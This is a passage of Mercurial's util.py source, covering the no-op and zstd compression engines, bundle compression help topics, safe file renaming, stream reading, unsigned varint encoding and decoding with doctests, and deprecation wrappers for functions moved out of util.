3757 """No compression is performed.
3758
3759 Use this compression engine to explicitly disable compression.
3760 """
3761 return 'none', 'UN'
3762
3763 # Clients always support uncompressed payloads. Servers don't because
3764 # unless you are on a fast network, uncompressed payloads can easily
3765 # saturate your network pipe.
3766 def wireprotosupport(self):
3767 return compewireprotosupport('none', 0, 10)
3768
3769 # We don't implement revlogheader because it is handled specially
3770 # in the revlog class.
3771
3772 def compressstream(self, it, opts=None):
3773 return it
3774
3775 def decompressorreader(self, fh):
3776 return fh
3777
3778 class nooprevlogcompressor(object):
3779 def compress(self, data):
3780 return None
3781
3782 def revlogcompressor(self, opts=None):
3783 return self.nooprevlogcompressor()
3784
3785 compengines.register(_noopengine())
3786
3787 class _zstdengine(compressionengine):
3788 def name(self):
3789 return 'zstd'
3790
3791 @propertycache
3792 def _module(self):
3793 # Not all installs have the zstd module available. So defer importing
3794 # until first access.
3795 try:
3796 from . import zstd
3797 # Force delayed import.
3798 zstd.__version__
3799 return zstd
3800 except ImportError:
3801 return None
3802
3803 def available(self):
3804 return bool(self._module)
3805
3806 def bundletype(self):
3807 """A modern compression algorithm that is fast and highly flexible.
3808
3809 Only supported by Mercurial 4.1 and newer clients.
3810
3811 With the default settings, zstd compression is both faster and yields
3812 better compression than ``gzip``. It also frequently yields better
3813 compression than ``bzip2`` while operating at much higher speeds.
3814
3815 If this engine is available and backwards compatibility is not a
3816 concern, it is likely the best available engine.
3817 """
3818 return 'zstd', 'ZS'
3819
3820 def wireprotosupport(self):
3821 return compewireprotosupport('zstd', 50, 50)
3822
3823 def revlogheader(self):
3824 return '\x28'
3825
3826 def compressstream(self, it, opts=None):
3827 opts = opts or {}
3828 # zstd level 3 is almost always significantly faster than zlib
3829 # while providing no worse compression. It strikes a good balance
3830 # between speed and compression.
3831 level = opts.get('level', 3)
3832
3833 zstd = self._module
3834 z = zstd.ZstdCompressor(level=level).compressobj()
3835 for chunk in it:
3836 data = z.compress(chunk)
3837 if data:
3838 yield data
3839
3840 yield z.flush()
3841
3842 def decompressorreader(self, fh):
3843 zstd = self._module
3844 dctx = zstd.ZstdDecompressor()
3845 return chunkbuffer(dctx.read_from(fh))
3846
3847 class zstdrevlogcompressor(object):
3848 def __init__(self, zstd, level=3):
3849 # Writing the content size adds a few bytes to the output. However,
3850 # it allows decompression to be more optimal since we can
3851 # pre-allocate a buffer to hold the result.
3852 self._cctx = zstd.ZstdCompressor(level=level,
3853 write_content_size=True)
3854 self._dctx = zstd.ZstdDecompressor()
3855 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3856 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3857
3858 def compress(self, data):
3859 insize = len(data)
3860 # Caller handles empty input case.
3861 assert insize > 0
3862
3863 if insize < 50:
3864 return None
3865
3866 elif insize <= 1000000:
3867 compressed = self._cctx.compress(data)
3868 if len(compressed) < insize:
3869 return compressed
3870 return None
3871 else:
3872 z = self._cctx.compressobj()
3873 chunks = []
3874 pos = 0
3875 while pos < insize:
3876 pos2 = pos + self._compinsize
3877 chunk = z.compress(data[pos:pos2])
3878 if chunk:
3879 chunks.append(chunk)
3880 pos = pos2
3881 chunks.append(z.flush())
3882
3883 if sum(map(len, chunks)) < insize:
3884 return ''.join(chunks)
3885 return None
3886
3887 def decompress(self, data):
3888 insize = len(data)
3889
3890 try:
3891 # This was measured to be faster than other streaming
3892 # decompressors.
3893 dobj = self._dctx.decompressobj()
3894 chunks = []
3895 pos = 0
3896 while pos < insize:
3897 pos2 = pos + self._decompinsize
3898 chunk = dobj.decompress(data[pos:pos2])
3899 if chunk:
3900 chunks.append(chunk)
3901 pos = pos2
3902 # Frame should be exhausted, so no finish() API.
3903
3904 return ''.join(chunks)
3905 except Exception as e:
3906 raise error.RevlogError(_('revlog decompress error: %s') %
3907 stringutil.forcebytestr(e))
3908
3909 def revlogcompressor(self, opts=None):
3910 opts = opts or {}
3911 return self.zstdrevlogcompressor(self._module,
3912 level=opts.get('level', 3))
3913
3914 compengines.register(_zstdengine())
3915
3916 def bundlecompressiontopics():
3917 """Obtains a list of available bundle compressions for use in help."""
3918 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3919 items = {}
3920
3921 # We need to format the docstring. So use a dummy object/type to hold it
3922 # rather than mutating the original.
3923 class docobject(object):
3924 pass
3925
3926 for name in compengines:
3927 engine = compengines[name]
3928
3929 if not engine.available():
3930 continue
3931
3932 bt = engine.bundletype()
3933 if not bt or not bt[0]:
3934 continue
3935
3936 doc = pycompat.sysstr('``%s``\n %s') % (
3937 bt[0], engine.bundletype.__doc__)
3938
3939 value = docobject()
3940 value.__doc__ = doc
3941 value._origdoc = engine.bundletype.__doc__
3942 value._origfunc = engine.bundletype
3943
3944 items[bt[0]] = value
3945
3946 return items
3947
3948 i18nfunctions = bundlecompressiontopics().values()
3949
3950 # convenient shortcut
3951 dst = debugstacktrace
3952
3953 def safename(f, tag, ctx, others=None):
3954 """
3955 Generate a name that it is safe to rename f to in the given context.
3956
3957 f: filename to rename
3958 tag: a string tag that will be included in the new name
3959 ctx: a context, in which the new name must not exist
3960 others: a set of other filenames that the new name must not be in
3961
3962 Returns a file name of the form oldname~tag[~number] which does not exist
3963 in the provided context and is not in the set of other names.
3964 """
3965 if others is None:
3966 others = set()
3967
3968 fn = '%s~%s' % (f, tag)
3969 if fn not in ctx and fn not in others:
3970 return fn
3971 for n in itertools.count(1):
3972 fn = '%s~%s~%s' % (f, tag, n)
3973 if fn not in ctx and fn not in others:
3974 return fn
3975
3976 def readexactly(stream, n):
3977 '''read n bytes from stream.read and abort if less was available'''
3978 s = stream.read(n)
3979 if len(s) < n:
3980 raise error.Abort(_("stream ended unexpectedly"
3981 " (got %d bytes, expected %d)")
3982 % (len(s), n))
3983 return s
3984
3985 def uvarintencode(value):
3986 """Encode an unsigned integer value to a varint.
3987
3988 A varint is a variable length integer of 1 or more bytes. Each byte
3989 except the last has the most significant bit set. The lower 7 bits of
3990 each byte store the 2's complement representation, least significant group
3991 first.
3992
3993 >>> uvarintencode(0)
3994 '\\x00'
3995 >>> uvarintencode(1)
3996 '\\x01'
3997 >>> uvarintencode(127)
3998 '\\x7f'
3999 >>> uvarintencode(1337)
4000 '\\xb9\\n'
4001 >>> uvarintencode(65536)
4002 '\\x80\\x80\\x04'
4003 >>> uvarintencode(-1)
4004 Traceback (most recent call last):
4005 ...
4006 ProgrammingError: negative value for uvarint: -1
4007 """
4008 if value < 0:
4009 raise error.ProgrammingError('negative value for uvarint: %d'
4010 % value)
4011 bits = value & 0x7f
4012 value >>= 7
4013 bytes = []
4014 while value:
4015 bytes.append(pycompat.bytechr(0x80 | bits))
4016 bits = value & 0x7f
4017 value >>= 7
4018 bytes.append(pycompat.bytechr(bits))
4019
4020 return ''.join(bytes)
4021
4022 def uvarintdecodestream(fh):
4023 """Decode an unsigned variable length integer from a stream.
4024
4025 The passed argument is anything that has a ``.read(N)`` method.
4026
4027 >>> try:
4028 ... from StringIO import StringIO as BytesIO
4029 ... except ImportError:
4030 ... from io import BytesIO
4031 >>> uvarintdecodestream(BytesIO(b'\\x00'))
4032 0
4033 >>> uvarintdecodestream(BytesIO(b'\\x01'))
4034 1
4035 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
4036 127
4037 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
4038 1337
4039 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
4040 65536
4041 >>> uvarintdecodestream(BytesIO(b'\\x80'))
4042 Traceback (most recent call last):
4043 ...
4044 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
4045 """
4046 result = 0
4047 shift = 0
4048 while True:
4049 byte = ord(readexactly(fh, 1))
4050 result |= ((byte & 0x7f) << shift)
4051 if not (byte & 0x80):
4052 return result
4053 shift += 7
4054
4055 ###
4056 # Deprecation warnings for util.py splitting
4057 ###
4058
4059 def _deprecatedfunc(func, version):
4060 def wrapped(*args, **kwargs):
4061 fn = pycompat.sysbytes(func.__name__)
4062 mn = pycompat.sysbytes(func.__module__)[len('mercurial.'):]
4063 msg = "'util.%s' is deprecated, use '%s.%s'" % (fn, mn, fn)
4064 nouideprecwarn(msg, version)
4065 return func(*args, **kwargs)
4066 wrapped.__name__ = func.__name__
4067 return wrapped
4068
4069 defaultdateformats = dateutil.defaultdateformats
4070 extendeddateformats = dateutil.extendeddateformats
4071 makedate = _deprecatedfunc(dateutil.makedate, '4.6')
4072 datestr = _deprecatedfunc(dateutil.datestr, '4.6')
4073 shortdate = _deprecatedfunc(dateutil.shortdate, '4.6')
4074 parsetimezone = _deprecatedfunc(dateutil.parsetimezone, '4.6')
4075 strdate = _deprecatedfunc(dateutil.strdate, '4.6')
4076 parsedate = _deprecatedfunc(dateutil.parsedate, '4.6')
4077 matchdate = _deprecatedfunc(dateutil.matchdate, '4.6')
4078
4079 escapedata = _deprecatedfunc(stringutil.escapedata, '4.6')
4080 binary = _deprecatedfunc(stringutil.binary, '4.6')
4081 stringmatcher = _deprecatedfunc(stringutil.stringmatcher, '4.6')
4082 shortuser = _deprecatedfunc(stringutil.shortuser, '4.6')
4083 emailuser = _deprecatedfunc(stringutil.emailuser, '4.6')
4084 email = _deprecatedfunc(stringutil.email, '4.6')
4085 ellipsis = _deprecatedfunc(stringutil.ellipsis, '4.6')
4086 escapestr = _deprecatedfunc(stringutil.escapestr, '4.6')
4087 unescapestr = _deprecatedfunc(stringutil.unescapestr, '4.6')
4088 forcebytestr = _deprecatedfunc(stringutil.forcebytestr, '4.6')
4089 uirepr = _deprecatedfunc(stringutil.uirepr, '4.6')
4090 wrap = _deprecatedfunc(stringutil.wrap, '4.6')
4091 parsebool = _deprecatedfunc(stringutil.parsebool, '4.6')
General Comments 0
You need to be logged in to leave comments. Login now